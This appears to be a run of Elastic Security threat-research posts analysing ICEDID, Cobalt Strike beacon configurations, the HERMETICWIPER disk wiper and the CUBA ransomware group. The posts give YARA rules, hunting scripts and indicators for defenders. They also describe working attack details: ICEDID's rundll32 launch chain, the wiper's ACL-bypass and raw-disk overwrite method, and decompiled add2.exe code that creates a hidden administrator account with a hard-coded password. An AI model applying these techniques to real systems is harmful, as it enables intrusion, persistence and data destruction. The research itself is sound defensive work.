ICEDID infections come in many different forms and have been adjusted using different techniques and novel execution chains to avoid detection and evade antimalware products. In this sample, ICEDID was delivered through a phishing email. The email contains a ZIP archive with an embedded ISO file. Inside the ISO file is a Windows shortcut (LNK) that, when double-clicked, executes the first stage ICEDID loader (DLL file).

The Windows shortcut target value is configured to execute %windir%\system32\rundll32.exe olasius.dll,PluginInit calling the PluginInit export, which starts the initial stage of the ICEDID infection. This stage is responsible for decrypting the embedded configuration, downloading a GZIP payload from a C2 server, writing an encrypted payload to disk ( license.dat ), and transferring execution to the next stage.

The first ICEDID stage starts off by deciphering an encrypted configuration blob of data stored within the DLL that is used to hold C2 domains and the campaign identifier. The first 32 bytes represent the XOR key; the encrypted data is then deciphered with this key.

Command and control

ICEDID constructs the initial HTTP request using cookie parameters that contain hexadecimal data from the infected machine used for fingerprinting the victim machine. This request will proceed to download the GZIP payload irrespective of any previous identifying information.

eSentire has published research that describes in detail how the gads, gat, ga, u, and io cookie parameters are created.

Below are the cookie parameters and example associated values behind them.

| Parameter | Example Data | Note | | --------- | -------------------------------------------------------------------------------------------- | --------------------------------------------------------------------- | | __gads | 3000901376:1:16212:134 | Contains campaign ID, flag, GetTickCount, number of running processes | | __gat | 10.0.19044.64 | OS version, architecture | | __ga | 1.591594.1635208534.76 | Hypervisor/processor information from CPUID/SwitchToThread function | | __u | 4445534B544F502D4A4B4738455432:6A6F656C2E68656E646572736F6E:33413945354637303742414339393534 | Stores computer name, username, and bot ID | | __io | 21_3990468985_3832573211_2062024380 | Security Identifier (SID) | | __gid | 006869A80704 | Encrypted MAC address |

The downloaded GZIP payload contains a custom structure with a second loader ( hollow.dat ) and the encrypted ICEDID core payload ( license.dat ). These two files are written to disk and are used in combination to execute the core payload in memory.

The next phase highlights a unique element with ICEDID in how it loads the core payload ( license.dat ) by using a custom header structure instead of the traditional PE header. Memory is allocated with the sections of the next payload looped over and placed into their own virtual memory space. This approach has been well documented and serves as a technique to obstruct analysis.

Each section has its memory protection modified by the VirtualProtect function to enable read-only or read/write access to the committed region of memory using the PAGE_READWRITE constant.

Once the image entry point is set up, the ICEDID core payload is then loaded by a call to the rax x86 register.

Persistence

ICEDID will attempt to set up persistence first using a scheduled task, if that fails it will instead create a Windows Registry run key. Using the Bot ID and RDTSC instruction, a scheduled task or run key name is randomly generated. A scheduled task is created using taskschd.dll , configured to run at logon for the user, and is triggered every 1 hour indefinitely.

Core functionality

The core functionality of the ICEDID malware has been well documented and largely unchanged. To learn more about the core payload and functionality, check out the Malpedia page that includes a corpus of completed research on ICEDID.

That said, we counted 23 modules during the time of our analysis including:

MitM proxy for stealing credentials
Backconnect module
Command execution (PowerShell, cmd)
Shellcode injection
Collect
Registry key data
Running processes
Credentials
Browser cookies
System information (network, anti-virus, host enumeration)
Search and read files
Directory/file listing on user’s Desktop

ICEDID configuration extractor

Elastic Security Labs has released an open source tool, under the Apache 2.0 license, that will allow for configurations to be extracted from ICEDID samples. The tool can be downloaded here.

TLS certificate pinning

Previous research into the ICEDID malware family has highlighted a repetitive way in how the campaigns create their self-signed TLS certificates. Of particular note, this technique for creating TLS certificates has not been updated in approximately 18 months. While speculative in nature, this could be reflective of the fact that this C2 infrastructure is not widely tracked by threat data providers. This allows ICEDID to focus on updating the more transient elements of their campaigns (file hashes, C2 domains, and IP addresses).

The team at Check Point published in-depth and articulate research on tracking ICEDID infrastructure using ICEDID’s TLS certificate pinning feature. Additionally, Check Point released a script that takes an IP address and port, and validates the suspect TLS serial number against a value calculated by the ICEDID malware to confirm whether or not the IP address is currently using an ICEDID TLS certificate.

We are including a wrapper that combines internet scanning data from Censys, and ICEDID C2 infrastructure conviction from the Check Point script. It can be downloaded here.

Dataset

As reported by Check Point, the TLS certificate information uses the same Issuer and Subject distinguished names to validate the C2 server before sending any data.

To build our dataset, we used the Censys CLI tool to collect the certificate data. We needed to make a slight adjustment to the query from Check Point research, but the results were similar.

censys search 'services.tls.certificates.leaf_data.subject_dn:"CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd" and services.tls.certificates.leaf_data.issuer_dn:"CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd" and services.port=443'

[
  {
    "ip": "103.208.85.237",
    "services": [
      {
        "port": 22,
        "service_name": "SSH",
        "transport_protocol": "TCP"
      },
      {
        "port": 80,
        "service_name": "HTTP",
        "transport_protocol": "TCP"
      },
      {
        "port": 443,
        "service_name": "HTTP",
        "certificate": "c5e7d92ba63be7fb2c44caa92458beef7047d7f987aaab3bdc41161b84ea2850",
        "transport_protocol": "TCP"
      }
    ],
    "location": {
      "continent": "Oceania",
      "country": "New Zealand",
      "country_code": "NZ",

…truncated…

This provided us with 113 IP addresses that were using certificates we could begin to attribute to ICEDID campaigns.

JARM / JA3S

When looking at the data from Censys, we also identified other fields that are useful in tracking TLS communications: JARM and JA3S, both TLS fingerprinting tools from the Salesforce team.

At a high-level, JARM fingerprints TLS servers by actively collecting specific elements of the TLS Server Hello responses. JA3S passively collects values from the TLS Server Hello message. JARM and JA3S are represented as a 62-character or 32-character fingerprint, respectively.

JARM and JA3S add additional data points that improve our confidence in connecting the ICEDID C2 infrastructure. In our research, we identified 2ad2ad16d2ad2ad22c2ad2ad2ad2adc110bab2c0a19e5d4e587c17ce497b15 as the JARM and e35df3e00ca4ef31d42b34bebaa2f86e as the JA3S fingerprints.

It should be noted that JARM and JA3S are frequently not uncommon enough to convict a host by themselves. As an example, in the Censys dataset, the JARM fingerprint identified over 15k hosts, and the JA3S fingerprint identified over 3.3M hosts. Looking at the JARM and JA3S values together still had approximately 8k hosts. These are data points on the journey to an answer, not the answer itself.

ICEDID implant defense

Before ICEDID communicates with its C2 server, it performs a TLS certificate check by comparing the certificate serial number with a hash of the certificate's public key. As certificate serial numbers should all be unique, ICEDID uses a self-signed certificate and an expected certificate serial number as a way to validate the TLS certificate. If the hash of the public key and serial number do not match, the communication with the C2 server does not proceed.

We used the Check Point Python script (which returns a true or false result for each passed IP address) to perform an additional check to improve our confidence that the IP addresses were part of the ICEDID C2 infrastructure and not simply a coincidence in having the same subject and issuer information of the ICEDID TLS certifications. A true result has a matching ICEDID fingerprint and a false result does not. This resulted in 103 IPs that were confirmed as having an ICEDID TLS certificate and 10 that did not (as of October 14, 2022).

Importing into Elasticsearch

Now that we have a way to collect IPs based on the TLS certificate elements and a way to add additional context to aid in conviction; we can wrap the logic in a Bash script as a way to automate this process and parse the data for analysis in Elasticsearch.

#!/bin/bash -eu

set -o pipefail

SEARCH='services.tls.certificates.leaf_data.subject_dn:"CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd" and services.tls.certificates.leaf_data.issuer_dn:"CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd" and services.port=443'

while read -r line; do
    _ts=$(date -u +%FT%TZ)
    _ip=$(echo ${line} | base64 -d | jq '.ip' -r)
    _port=$(echo ${line} | base64 -d | jq '.port' -r)
    _view=$(censys view "${_ip}" | jq -c)
    _is_icedid=$(python3 -c "import icedid_checker; print(icedid_checker.test_is_icedid_c2('${_ip}','${_port}'))")

    echo "${_view}" | jq -S --arg is_icedid "${_is_icedid}" --arg timestamp "${_ts}" '. + {"@timestamp": $timestamp, "threat": {"software": {"icedid": {"present": $is_icedid}}}}'
done < <(censys search --pages=-1 "${SEARCH}" | jq '.[] | {"ip": .ip, "port": (.services[] | select(.certificate?).port)} | @base64' -r) | tee icedid_infrastructure.ndjson

This outputs the data as an NDJSON document called icedid_infrastructure.ndjson that we can upload into Elasticsearch.

In the above image, we can see that there are hosts that have the identified JARM fingerprint, the identified TLS issuer and subject elements, but did not pass the Check Point validation check. Additionally, one of the two hosts has a different JA3S fingerprint. This highlights the value of the combination of multiple data sources to inform confidence scoring.

We are also providing this script for others to use.

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

As stated above, ICEDID has been extensively analyzed, so below we are listing the tactics and techniques that we observed and are covered in this research publication. If you’re interested in the full set of MITRE ATT&CK tactics and techniques, you can check out MITRE’s page on ICEDID.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

Detections and preventions

Detection logic

Preventions

Malicious Behavior Detection Alert: Command Shell Activity
Memory Threat Detection Alert: Shellcode Injection
Malicious Behavior Detection Alert: Unusual DLL Extension Loaded by Rundll32 or Regsvr32
Malicious Behavior Detection Alert: Suspicious Windows Script Interpreter Child Process
Malicious Behavior Detection Alert: RunDLL32 with Unusual Arguments
Malicious Behavior Detection Alert: Windows Script Execution from Archive File

YARA

Elastic Security has created YARA rules to identify this activity. Below is a YARA rule specifically to identify the TLS certificate pinning function used by ICEDID.

rule Windows_Trojan_IcedID_cert_pinning {
    meta:
        author = "Elastic Security"
        creation_date = "2022-10-17"
        last_modified = "2022-10-17"
        threat_name = "Windows.Trojan.IcedID"
        arch_context = "x86"
        license = "Elastic License v2"
        os = "windows"
    strings:
        $cert_pinning = { 74 ?? 8B 50 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F BA F0 ?? 48 8B 51 ?? 48 8B 4A ?? 39 01 74 ?? 35 14 24 4A 38 39 01 74 ?? }
    condition:
        $cert_pinning
}

References

The following were referenced throughout the above research:

Indicators

The indicators observed in this research are posted below. All artifacts (to include those discovered through TLS certificate pinning) are also available for download in both ECS and STIX format in a combined zip bundle.

| Indicator | Type | Note | | ---------------------------------------------------------------- | --------- | -------------------- | | db91742b64c866df2fc7445a4879ec5fc256319e234b1ac5a25589455b2d9e32 | SHA256 | ICEDID malware | | yolneanz[.]com | domain | ICEDID C2 domain | | 51.89.190[.]220 | ipv4-addr | ICEDID C2 IP address |

Extracting Cobalt Strike Beacon Configurations

Daniel Stepanic,Derek Ditch,Seth Goodwin,Andrew Pease — Fri, 09 Sep 2022 00:00:00 GMT

Please check out our previous post on how to collect Cobalt Strike beacon implants. We'll build on that information to extract the configurations from the beacons.

In this post, we'll walk through manually analyzing a Cobalt Strike C2 configuration from a binary beacon payload using the excellent Cobalt Strike Configuration Extractor (CSCE). We'll also cover enabling some newer features of the Elastic Stack that will allow you to do this at scale across all your monitored endpoints, by extracting the beacons from memory.

The team at Blackberry has a tremendous handbook called “Finding Beacons in the Dark” (registration required) that dives extensively into Cobalt Strike beacon configurations. We’ll discuss a few fields in the configurations here, but if you’re interested in learning about how beacons function, we strongly recommend checking that resource out.

Cobalt Strike Configuration Extractor

The Cobalt Strike Configuration Extractor (CSCE) by Stroz Friedberg is a "python library and set of scripts to extract and parse configurations from Cobalt Strike beacons".

To use the CSCE, we'll create a Python virtual environment, activate it, and install the CSCE Python package.

Setting up the Cobalt Strike Configuration Extractor

$ python3 -m venv csce

$ source csce/bin/activate

(csce) $ pip3 install libcsce

...truncated...
Collecting libcsce
  Using cached libcsce-0.1.0-py3-none-any.whl (24 kB)
Collecting pefile>=2019.4.18
...truncated...

Next, we can run the CSCE on the beacon payload we extracted from memory to see if there's any interesting information stored we can collect (we'll add the --pretty flag to make the output easier to read as a JSON document).

Viewing the atomic indicators of the CS beacon configuration

(csce) $ csce --pretty beacon.exe

{
  "beacontype": [
    "HTTPS"
  ],
  "sleeptime": 45000,
  "jitter": 37,
  "maxgetsize": 1403644,
  "spawnto": "GNEtW6h/g4dQzm0dOkL5NA==",
  "license_id": 334850267,
  "cfg_caution": false,
  "kill_date": "2021-12-24",
  "server": {
    "hostname": "clevelandclinic[.]cloud",
    "port": 443,
    "publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4G...
...truncated...

Immediately, we can see that the beacon uses HTTPS to communicate and that the domain is clevelandclinic[.]cloud. This gives us an atomic indicator that we can do some analysis on. Looking at the Malleable Command and Control documentation, we can get a description of the configuration variables.

As an example, we can see that the sleeptime is 450000 milliseconds, which changes the default beacon check in from every 60-seconds to 450-seconds, or 7 ½ minutes. Additionally, we see a jitter of 37 meaning that there is a random jitter of 37% of 450000 milliseconds (166,500 milliseconds), so the beacon check-in could be between 283,000 and 450,000 milliseconds (4.7 - 7.5 minutes).

Additionally, the publickey field is used by the Cobalt Strike Team Server to encrypt communications between the server and the beacon. This is different from normal TLS certificates used when accessing the C2 domain with a browser or data-transfer libraries, like cURL. This field is of note because the Team Server uses the same publickey for each beacon, so this field is valuable in clustering beacons with their perspective Team Server because threat actors often use the same Team Server for multiple campaigns, so this data from the configuration can be used to link threat actors to multiple campaigns and infrastructure.

Continuing to look at the configuration output, we can see another interesting section around the process-inject nested field, stub:

Viewing the process-inject.stub field

(csce) $ csce --pretty beacon.exe

...truncated...
  "process-inject": {
    "allocator": "NtMapViewOfSection",
    "execute": [
      "CreateThread 'ntdll!RtlUserThreadStart'",
      "CreateThread",
      "NtQueueApcThread-s",
      "CreateRemoteThread",
      "RtlCreateUserThread"
    ],
    "min_alloc": 17500,
    "startrwx": false,
    "stub": "IiuPJ9vfuo3dVZ7son6mSA==",
    "transform-x86": [
      "prepend '\\x90\\x90'"
    ],
...

The stub field contains the Base64 encoded MD5 file hash of the Cobalt Strike Java archive. To convert this, we can again use CyberChef, this time add the "From Base64" and "To Hex" recipes, ensure you change the "Delimiter" to "None" in the "To Hex" recipe.

Now that we have the MD5 value of the Java archive (222b8f27dbdfba8ddd559eeca27ea648), we can check that against online databases like VirusTotal to get additional information, specifically, the SHA256 hash (7af9c759ac78da920395debb443b9007fdf51fa66a48f0fbdaafb30b00a8a858).

Finally, we can verify the SHA256 hash with CobaltStrike to identify the version of the Java archive by going to https://verify.cobaltstrike.com and searching for the hash.

Now we know that this beacon was created using a licensed version of Cobalt Strike 4.4.

Another field from the configuration that is helpful in clustering activity is the license_id field.

Viewing Cobalt Strike watermark

...truncated
  "spawnto": "GNEtW6h/g4dQzm0dOkL5NA==",
  "license_id": 334850267,
  "cfg_caution": false,
...truncated...

This is commonly referred to as the Watermark and is a 9-digit value that is unique per license. While this value can be modified, it can still be used in conjunction with the process-inject.stub and publickey fields (discussed above) to cluster infrastructure and activity groups.

These are just a few fields that can be used to identify and cluster activities using configurations extracted from the Cobalt Strike beacon. If you're interested in a very in-depth analysis of the configuration, we recommend you check out the Finding Beacons in the Dark Cobalt Strike handbook by the team at Blackberry.

Putting Analysis to Action

To test out our analyst playbook for collecting Cobalt Strike beacon payloads, their configurations, and metadata contained within; we can apply those to more data to identify clusters of activity.

In the above illustration, we can cluster threat actors based on their shared uses of the beacon payload public key, which as we described above, is unique per Team Server. This would allow us to group multiple beacon payload hashes, infrastructure, and campaigns to a single Threat Actor.

As always, using the atomic indicators extracted from the beacon payload configurations (clevelandclinic[.]cloud in our example) allow you to identify additional shared infrastructure, target verticals, and threat actor capabilities.

This time at full speed

All of the steps that we've highlighted in this release, as well as the previous release, can be automated and written into Elasticsearch using the Cobalt Strike Beacon Extraction project.

Summary

In this post, we highlighted new features in the Elastic Stack that can be used to collect Cobalt Strike Malleable C2 beacon payloads. Additionally, we covered the processes to build Fleet policies to extract beacon payloads from memory and their configurations.

These Fleet policies and processes enable security analysts to collect Cobalt Strike beacon payloads and their configurations to identify threat actor controlled infrastructure and cluster activity.

Artifacts

Observable | Type | Note -------------------------------------------------------------------|-------------|------------------------------------------ 697fddfc5195828777622236f2b133c0a24a6d0dc539ae7da41798c4456a3f89 | SHA256 | Cobalt Strike Malleable C2 beacon payload 7475a6c08fa90e7af36fd7aa76be6e06b9e887bc0a6501914688a87a43ac7ac4 | SHA256 | Cobalt Strike Malleable C2 beacon payload f9b38c422a89d73ebdab7c142c8920690ee3a746fc4eea9175d745183c946fc5 | SHA256 | Cobalt Strike Malleable C2 beacon payload clevelandclinic[.]cloud | domain-name | Cobalt Strike Malleable C2 domain 104[.]197[.]142[.]19 | ipv4-addr | Cobalt Strike Malleable C2 IP address 192[.]64[.]119[.]19 | ipv4-addr | Cobalt Strike Malleable C2 IP address

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

Elastic protects against data wiper malware targeting Ukraine: HERMETICWIPER

Daniel Stepanic,Mark Mager,Remco Sprooten,Jake King,Andrew Pease — Fri, 09 Sep 2022 00:00:00 GMT

Introduction

On February 23, 2022, the ESET threat research team disclosed a series of findings pertaining to a Data Wiper malware campaign, impacting hundreds of systems across Ukraine, named HERMETICWIPER. Elastic previously published research on Operation Bleeding Bear, a campaign targeted towards Ukrainian assets with similar destructive intentions.

Malware Wipers remain a common tactic of adversaries looking to cause havoc on systems impacted by their payloads. Typically this class of malware is designed to wipe the contents of any drives a system may have, rendering the end-users personal data lost. Many more recent examples of this class of payload incorporate tactics that also tamper with the boot process, with HERMETICWIPER being no exception.

Customers leveraging the Elastic Agent version 7.9+, and above are protected against this specific malware, with further research being undertaken to improve detection efficacy.

Malware Wipers & Ukrainian Targets

Unfortunately, this is not the first time this year that Ukranian systems have been the target of Data-wiping payloads - Microsoft published findings pertaining to similar, observed attacks that impacted systems within Ukraine, however initially impacting a far smaller number of systems. The publication outlined that the targeting of this specific earlier campaign was focused on multiple government agencies, non-profits, and information technology organizations throughout the country.

Malware Stage Analysis

HERMETICWIPER is digitally signed by Hermetica Digital Ltd., an organization registered in Cyprus, and embeds 4 legitimate driver files from EaseUS Partition Manager that are compressed using MS-DOS utility (mscompress). Hermetica Digital Ltd. has revoked the code-signing certificate.

Upon execution, HERMETICWIPER creates a kernel mode service and interacts with it via DeviceIoControl API function. The main objective is to corrupt any attached physical drive and render the system data unrecoverable.

Below is a summary of the events generated during the installation phase using, Windows events logs and Elastic Agent.

Following the installation process, HERMETICWIPER determines the dimensions of each partition by calculating the bytes in each sector and sectors in each cluster using the GetDiskFreeSpaceW Windows API function.

The malware interacts with the IOCTL interface, passing the parameter IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS with a value of 0x560000 to the device driver in order to retrieve the physical location of the root driver (\.\C). The root drive corresponds to the volume Windows uses to boot, and its identification is essential to achieve a destructive impact.

The NTFS/FAT boot sector and random file physical offsets are enumerated for each accessible physical drive, and then overwritten by the output of the CryptGenRandom API function and a series of FSCTL_GET_RETRIEVAL_POINTERS and FSCTL_MOVE_FILE IOCTLs.

Once the system crashes or restarts, the system is unable to boot and the data is corrupted.

Interesting Functionality

Similar to different ransomware families, HERMETICWIPER avoids specific critical folders and files during the wiping process. This ensures the machine is still operable and will not impact the disk wiping/file corrupting process at a later stage.

Another interesting technique observed when targeted files are queued for wiping is how they are accessed by concatenating the value ::$INDEX_ALLOCATION to a filename. This documented NTFS trick is an additional method to bypass access-control list (ACL) permissions on targeted files to provide more reliability when accessing these files.

HERMETICWIPER also modifies two registry settings during execution (ShowCompColor and ShowInfoTip), setting those key values to 0. Within Windows, when a user chooses to compress NTFS directories/files, there is a setting that allows the user to differentiate them in Windows Explorer showing them as blue representing compressed data or green for encrypted data. This is an attempt by the malware to not set off any suspicious behavior to the user with different coloring on directories/files before the disk corruption occurs on the machine.

Shredding Component Analysis

The malware wipes specific target folders/files writing pre-generated random data at specific disk addresses. It does this by setting up 4 different shredding queues in the binary.

Each queue usage and its functionality is undetermined, but are used at different points in the sample. The shredding queue is composed of a linked list of targets which contain random pre-generated data (generated at queuing) of the size of the target, the disk number and a linked list of “file” parts with disk addresses and sizes.

HERMETICWIPER Structure for ShredTarget function

struct ctf::ShredTarget
{
ctf::ShredTarget *p_next;
ctf::ShredTarget *p_prev;
ctf::FilePart *p_parts;
int disk_number;
uint8_t *p_random_filled_buffer;
int p_random_filled_buffer_size;
};

HERMETICWIPER Structure for FilePart function

struct ctf::FilePart
{
ctf::FilePart *p_next;
ctf::FilePart *p_prev;
uint64_t start_address;
uint64_t size;
};

HERMETICWIPER targeting file, folder, and disk partitions

ctf::QueueFileShred
ctf::QueueFolderShred
ctf::callback::IfPathContainNtUserQueueFileShred
ctf::callback::QueueNtfsBitmapAndLogAttributeShred
ctf::callback::QueueFileShredIfNotSymlink
ctf::callback::QueuePartitionFirstClusterShred
ctf::callback::QueuePartitionShred

The malware emphasizes the following items that are targeted for shredding.

The dropped driver if something goes wrong or after service start:

The malware process itself if driver launch goes wrong:

The disk’s partition first cluster (enumerates up to 100):

The System Volume information direct used to store Windows restore points:

Interestingly if the computer doesn’t belong to a domain controller it will target more assets:

After queuing the different targets previously described, the sample starts different synchronous/asynchronous shredding threads for each of its queues:

The thread launcher will then start a new thread for each target.

The shredding thread will then iterate through the target’s file parts and use the driver for writing at addresses on specified disk.

Driver Analysis

The driver that is loaded by the user mode component is quite similar to the driver that belongs to Eldos Rawdisk and has been leveraged previously by threat actors like Shamoon and Lazarus. The difference is that HERMETICWIPER abuses a driver (epmntdrv.sys) that belongs to EaseUS Partition Master, a legitimate disk partitioning software.

When the driver is loaded, it creates a device named \Device\EPMNTDRV and creates a symbolic link to be exposed to user mode. Then, it initializes the driver object with the following entry points.

Looking at the dispatch function that handles the IRP_MJ_CREATE requests, we can see that the driver builds the name of the symlink \Device\HarddiskX\Partition0 and saves a pointer to its file object on the driver’s file object fs context. The driver then uses the volume manager device object to obtain a pointer to the highest level device object in the disk device stack.

After that, it iterates over the stack looking for the Disk driver, that is the Microsoft storage class driver that implements functionality common to all storage devices. Once found, it saves a pointer to its device object in the FsContext2 field of the file object structure.

Moving to the function that handles the write requests, we can see that it builds an asynchronous Input Output Request Packet (IRP), which is an API used for drivers to communicate with each other, and forwards it the volume manager device. The buffer used in the IRP is described by the Memory Descriptor List (MDL) driver function. Finally, a completion routine is provided that will free the MDL and release memory used by the IRP.

The read requests are similar to the write requests in concept, in other words, the IoBuildsynchronousFsdRequest() API function uses the IRP_MJ_READ driver function instead of the IRP_MJ_WRITE driver function when sending the IRP to the driver. Finally, the routine that handles I/O control codes finds the highest device object in the stack where the volume manager is located and calls IoBuildDeviceIoControlRequest() to forward the IRP that contains the I/O control code to the appropriate driver.

All in all, the driver functionality is very simple. It acts as a proxy between user space and the low level file system drivers, allowing raw disk sector manipulation and as a result circumventing Windows operating system security features.

Prebuilt Detection Engine Alerts

The following existing public detection rules can also be used to detect some of the employed post exploitation techniques described by Symantec Threat Intelligence Team and ESET [1][2][3] :

Suspicious Cmd Execution via WMI (Deployment of wiper via Impacket WMI)
Direct Outbound SMB Connection (SMB spreader)
Remotely Started Services via RPC (Remcom)
Lateral Tool Transfer (staging PE via file shares for remote execution)
Potential Credential Access via Windows Utilities
Potential Credential Access via LSASS Memory Dump
Process Execution from an Unusual Directory
Execution from Unusual Directory - Command Line
Scheduled Task Execution
Scheduled Task Creation
Suspicious MSHTA Execution

YARA Rules

rule Windows_Wiper_HERMETICWIPER {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-02-24"
        last_modified = "2022-02-24"
        os = "Windows"
        arch = "x86"
        category_type = "Wiper"
        family = "HERMETICWIPER"
        threat_name = "Windows.Wiper.HERMETICWIPER"
        description = "Detects HERMETICWIPER used to target Ukrainian organization"
        reference_sample = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"

    strings:
        $a1 = "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" wide fullword
        $a2 = "\\\\.\\EPMNTDRV\\%u" wide fullword
        $a3 = "tdrv.pdb" ascii fullword
        $a4 = "%s%.2s" wide fullword
        $a5 = "ccessdri" ascii fullword
        $a6 = "Hermetica Digital"
    condition:
        all of them
}

Observables

| Observable | Type | Reference | Note | | ---------------------------------------------------------------- | ------- | ------------- | ------------- | | 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 | SHA-256 | Wiper malware | HERMETICWIPER | | 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da | SHA-256 | Wiper malware | HERMETICWIPER | | 3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767 | SHA-256 | Wiper malware | HERMETICWIPER | | 2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf | SHA-256 | Wiper malware | HERMETICWIPER |

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

References

The following research was referenced throughout the document:

CUBA Ransomware Campaign Analysis

Daniel Stepanic,Derek Ditch,Seth Goodwin,Salim Bitam,Andrew Pease — Thu, 08 Sep 2022 00:00:00 GMT

Key Takeaways

The Elastic Security Team is tracking an organized and financially-motivated ransomware and extortion group called Cuba Ransomware
Cuba Ransomware targets small and medium-sized retailers, exfiltrating sensitive information, and then deploying ransomware
Cuba Ransomware uses a “name and shame” approach by releasing exfiltrated data as an additional method to extort ransomware cryptocurrency payments
We are releasing a YARA signature and providing hunting queries that detect this ransomware family

For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:

CUBA Malware Analysis

BUGHATCH Malware Analysis

Preamble

The Elastic Security Team is tracking a threat group that is leveraging the Cuba Ransomware, combined with data exfiltration and extortion, to target North American and European retailers and manufacturers for cryptocurrency payments. The threat group has followed an effective, but repetitive cluster of TTPs for initial access, lateral movement, exfiltration, ransomware deployment, and extortion.

Initial Access

The incidents that we have observed included hosts that were infected with a litany of initial access opportunities. These included everything from potentially unwanted programs (PUP) to remotely executable vulnerabilities. Because of this, we cannot verify what the initial access vehicle was, but there are two theories:

An access broker
A remotely exploitable vulnerability

While there are many ways to gain access into a targeted network, we’ll explore the most likely hypotheses for how the CUBA threat group gained access.

Access Broker

As an introduction, an access broker is a threat group who, as they move through the kill chain, has their “actions on objective” as collecting and maintaining remote access into a targeted network so that access can be sold to other threat groups who have other goals.

This is a common tactic for ransomware campaigns where the goal is to rapidly encrypt and extort victims into paying to recover data. When using ransomware kits (ransomware-as-a-service), the threat actors are often focused on moving rapidly across many victims and not on the reconnaissance required to identify and exploit victims to deploy their ransomware.

Ransomware-as-a-service includes a lot of overhead such as negotiating with victims, troubleshooting unlock procedures, and managing the crypto infrastructure. It is often easier to purchase previously exploited systems that allow the ransomware campaign owners to be “shell wranglers” instead of needing to gain and maintain access to a large number of environments.

The theory that an initial access broker may have been used began percolating because we observed access attempts using an Exchange vulnerability in multiple contested networks; however, all networks did not receive the CUBA ransomware. Additionally, we observed initial access attempts in January but did not observe CUBA ransomware until March which would align with an access broker gaining and maintaining persistence while shopping for a buyer.

In the environments where the CUBA ransomware was not deployed, the incident response was rapid, however incomplete, and access was regained. Once the persistence was observed, the adversary was successfully evicted and CUBA was never deployed.

Remotely Exploitable Vulnerability

We observed the execution of the ProxyLogon exploit. Previous research has observed this threat group leveraging ProxyLogon and ProxyShell vulnerabilities to gain initial access.

c:\windows\system32\inetsrv\w3wp.exe, -ap, MSExchangeOWAAppPool, -v, v4.0, -c, C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config, -a, \\.\pipe\[redacted], -h, C:\inetpub\temp\apppools\MSExchangeOWAAppPool\MSExchangeOWAAppPool.config, -w, (empty), -m, 0

In each case REF9019 activity was traced back to Windows servers running Microsoft’s Exchange Server. Although we do not have information on the patch levels of those machines at the time of the execution or the exact vulnerabilities exploited, there is corroborating evidence regarding the exploitation of publicly accessible Exchange servers at this time generally, as well as specific reporting tied to the CUBA threat actor exploiting them.

This information combined with the lack of activity preceding this event, as well as the order of tactics after, indicates that in both cases exploitation of publicly accessible Exchange servers initiated the compromise.

While analyzing certain alerts throughout these events, we used data present in the process.Ext.memory_region.bytes_compressed field, and the technique we described in our Cobalt Strike series, to extract the memory-resident binaries and shellcode.

Establish Foothold

afk.ttf

This exploitation attempt preceded one primary infection by about 6 weeks. It appears a tactics shift occurred in the intervening period.

The file afk.ttf has been identified as a variant of “ZenPak” by some vendors on VirusTotal. ZenPak is categorized as a generic Trojan which has been associated with the Bazar malware family. The BazarBackdoor has a long history and was recently sighted in ransomware-as-a-service campaigns.

Initially, afk.ttf was identified through a malicious_file alert when it was created by the IIS worker process (w3wp.exe) handling the Exchange Service.

The afk.ttf file is a 64-bit Windows DLL that has a single export, bkfkals. Next, afk.ttf is loaded by rundll32.exe (spawned by w3wp.exe) which unpacks shellcode in memory and executes it. The unpacked shellcode is a Meterpreter payload from the offensive security framework, Metasploit.

Following this, afk.ttf uses an injection technique that allows the injected code to run before the entry point of the main thread of the process. This is known as Early Bird injection and is used in this situation to inject the shellcode in a suspended process for nslookup 8.8.8.8. Once the shellcode was deobfuscated for execution, the Elastic Agent identified and prevented the Metasploit payload.

Using the process.Ext.memory_region.bytes_compressed field we were able to recover the memory snapshot from these two alerts and verified that the shellcode was Meterpreter, which is part of the Metasploit framework. Additionally, we were able to extract the C2 IP (159.203.70[.]39) and URI (/Time/cb6zubbpio…truncated…).

Ultimately this foothold was either never established, or abandoned because there is no further activity from this endpoint until it is re-exploited about 6 weeks later.

add2.exe

The primary execution chain of both infections started with a malicious_file alert that fired upon the creation and execution of add2.exe by the IIS worker process handling the Exchange service. This was the same technique observed previously with the afk.ttf attempt. Interestingly, these executions happened within about 15 minutes of each other on victims in different countries and different industry verticals.

The Elastic Malware Analysis and Reverse Engineering (MARE) team was able to find this file in VirusTotal and pull it down for binary analysis.

BOOL sub_4013B0()
{
  int v1;
  int v2;
  WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
  WCHAR ADMINS_groups_list[256];
  char password[44];
  wchar_t username[9];
  v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
  v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
  if ( v2 || v1 )
  {
    wcscpy(username, L"Mysql");
    qmemcpy(password, L"KJaoifhLOaiwdhadx1@!", 0x2Au);
    if ( Add_user((int)username, (int)password) )
    {
      if ( v2 )
        add_user_groups(ADMINS_groups_list, (int)username);
      if ( v1 )
